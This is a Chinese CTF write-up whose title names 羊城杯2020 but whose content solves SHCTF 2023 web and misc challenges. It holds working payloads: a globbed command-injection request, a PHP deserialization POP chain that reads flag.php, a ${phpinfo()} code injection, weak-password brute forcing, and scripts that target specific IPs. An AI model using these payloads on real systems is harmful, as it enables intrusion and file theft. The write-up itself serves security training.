羊城杯2020 a_piece_of_java

1. WEB
   1. [WEEK1]babyRCE
   2. [WEEK1]ez_serialize
   3. [WEEK1]ezphp
   4. [WEEK1]飞机大战
   5. [WEEK1]登录就给flag
   6. [WEEK1]1zzphp
   7. [WEEK3]快问快答

MISC

1. [WEEK1]message

WEB

[WEEK1]babyRCE

GET /?rce=/bin/ca?${IFS}/f???

[WEEK1]ez_serialize

<?php
highlight_file(__FILE__);

class A{
  public $var_1;

  public function __invoke(){               //4
   include($this->var_1);
  }
}

class B{
  public $q;
  public function __wakeup()  //1
{
  if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";
        }
}

}
class C{
  public $var="a";
  public $z;
    public function __toString(){     //2
        return $this->z->var;
    }
}

class D{
  public $p;
    public function __get($key){         //3
        $function = $this->p;
        return $function();
    }
}

//if(isset($_GET['payload']))
//{
//    unserialize($_GET['payload']);
//}
$a=new A();
$b=new B();
$c=new C();
$d=new D();
$a->var_1="php://filter/convert.base64-encode/resource=flag.php";
$d->p=$a;
$c->z=$d;
$b->q=$c;
echo serialize($b);
?>

GET /?payload=O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";s:1:"a";s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}}}

[WEEK1]ezphp

POST /?code=${phpinfo()}

pattern=(.*)

找到flag

[WEEK1]飞机大战

main.js里有flag，先Unicode解码再BASE64解码

function won(){
var galf = "\u005a\u006d\u0078\u0068\u005a\u0033\u0073\u0030\u0059\u006d\u005a\u006d\u004d\u0044\u0067\u0032\u004d\u0053\u0030\u0030\u0059\u006d\u0049\u0031\u004c\u0054\u0052\u006b\u004f\u0054\u0059\u0074\u0059\u0054\u0051\u0079\u004e\u0053\u0031\u0068\u0059\u006a\u004d\u0034\u004d\u006a\u006c\u006d\u004d\u0054\u0059\u0032\u004e\u006d\u0056\u0039\u000a";
    alert(atob(galf));
}
function oddbullet(X,Y){
    bullet.call(this,X,Y,6,14,"image/bullet1.png");
}

[WEEK1]登录就给flag

用户名admin,爆破弱密码，爆出来是password

[WEEK1]1zzphp

import requests
url="http://112.6.51.212:32840/?num[]=1"
data={
    'c_ode':'very'*250000+'2023SHCTF'
}
r=requests.post(url,data=data)
print(r.text)

[WEEK3]快问快答

import requests
import re
import time
session=requests.session()
url="http://112.6.51.212:32734/"
cookies = {
    "session": "eyJzY29yZSI6MCwic3RhcnRfdGltZSI6MTY5NzczMDY3OS44ODgyNzV9.ZTFQdw.zmAVHiwDKrNVR_Yx5Cx8jj-pVRI"
}
r = session.get(url=url, cookies=cookies)
for i in range(100):
    que=re.findall(r"<h3>题目：([\u4e00-\u9fa50-9 +x÷-]+)",r.text)
    ans=que[0].replace('x','*')
    ans=ans.replace(' ','')
    ans=ans.replace('与','&')
    ans=ans.replace('异或','^')
    ans=ans.replace('÷','//')
    print(ans)
    data={
        "answer": eval(ans)
    }
    print(data)
    r=session.post(url=url,data=data,cookies=cookies)
    print(re.findall(r"答对了[\u4e00-\u9fa50-9 +x÷-]+题",r.text))
    print(r.text)
    time.sleep(1.5)

MISC

[WEEK1]message

不太懂misc，不知道出题人是不是这样考的，直接HEX解码发现部分字符是明文的，正好是flag

SHCTF{ba978405-b1c8-847c-8e69-f62177e4c087}

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